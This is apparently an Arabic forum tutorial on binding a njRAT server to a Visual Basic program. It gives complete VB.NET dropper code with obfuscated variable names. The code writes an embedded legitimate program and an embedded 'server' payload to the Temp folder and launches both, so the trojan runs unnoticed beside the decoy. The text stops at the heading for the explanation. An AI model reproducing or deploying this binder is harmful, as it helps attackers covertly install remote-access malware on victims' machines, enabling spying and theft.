دمج سيرفرنجرات مع برنامج بلفيجول بيسك

سلام عليكم 

شرحنة اليوم دمج السيرفر مع برنامج بلفيجول بيسك

الكود

========================================================================

Module GBAlpYQnQAF

    Sub main()

        Dim RoIvFSmCfpo As String = My.Computer.FileSystem.SpecialDirectories.Temp

        Dim FKsqNsRNtBH As String = RoIvFSmCfpo + "qdyYIcDLQHz.exe"

        IO.File.WriteAllBytes(FKsqNsRNtBH, My.Resources.program)

        Process.Start(FKsqNsRNtBH)

        Dim qrTVeHuCyUg As String = My.Computer.FileSystem.SpecialDirectories.Temp

        Dim CWqpPOzyeDX As String = qrTVeHuCyUg + "EwFOaQxeGWD.exe"

        IO.File.WriteAllBytes(CWqpPOzyeDX, My.Resources.server)

        Process.Start(CWqpPOzyeDX)

    End Sub

End Module

========================================================================

الشرح